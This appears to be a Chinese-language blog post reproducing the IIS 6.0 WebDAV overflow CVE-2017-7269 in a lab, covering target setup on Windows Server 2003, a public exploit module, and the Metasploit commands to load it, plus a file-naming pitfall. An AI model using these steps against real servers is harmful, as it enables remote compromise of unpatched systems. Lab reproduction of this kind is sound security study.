Webdav 2017-7269漏洞复现

Webdav漏洞已经是2017年的老漏洞了，但有些坑我还是踩了，所以写一篇文章吧！

测试环境

攻击机：
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2020.2
Codename: kali-rolling
IP: 10.0.0.128

靶机：

Computer : ADMIN-9AB4DA91C
OS : Windows .NET Server (5.2 Build 3790, Service Pack 2).
Architecture : x86
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x86/windows

环境部署

靶机版本必须是R2的版本，我就因为版本不符合折腾了半天；然后装了X64的R2版本，一直缺少dll文件，后来改用X86的版本才复现成功！
安装好IIS在”Web服务扩展”里开启”WebDAV”即可

攻击脚本

CVE_2017_7269：https://github.com/zcgonvh/cve-2017-7269

下载好攻击脚本后放到kali的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下。
打开msfconsole会自动加载，如果没有加载起来输入reload_all手动加载。

root@kali:~/桌面# mv cve-2017-7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis/cev_2017_7269.rb
root@kali:~/桌面# msfconsole
msf5 > reload_all
[*] Reloading modules from all module paths...

msf5 > search 7269

Matching Modules
================

   #  Name                                                 Disclosure Date  Rank    Check  Description
   -  ----                                                 ---------------  ----    -----  -----------
   0  exploit/windows/iis/iis_webdav_scstoragepathfromurl  2017-03-26       manual  Yes    Microsoft IIS WebDav ScStoragePathFromUrl Overflow
   1  exploit/windows/iis/cev_2017_7269                    2017-03-31       good    No     CVE-2017-7269 Microsoft IIS WebDav ScStoragePathFromUrl Overflow
msf5 >

注意：这里有个坑，就是得把”-“改成”_“,否则加载不起来,会爆出如下错误：

1
2
3

[!] The following modules could not be loaded!..|
[!] 	/usr/share/metasploit-framework/modules/exploits/windows/iis/cve-2017-7269.rb
[!] Please see /root/.msf4/logs/framework.log for details.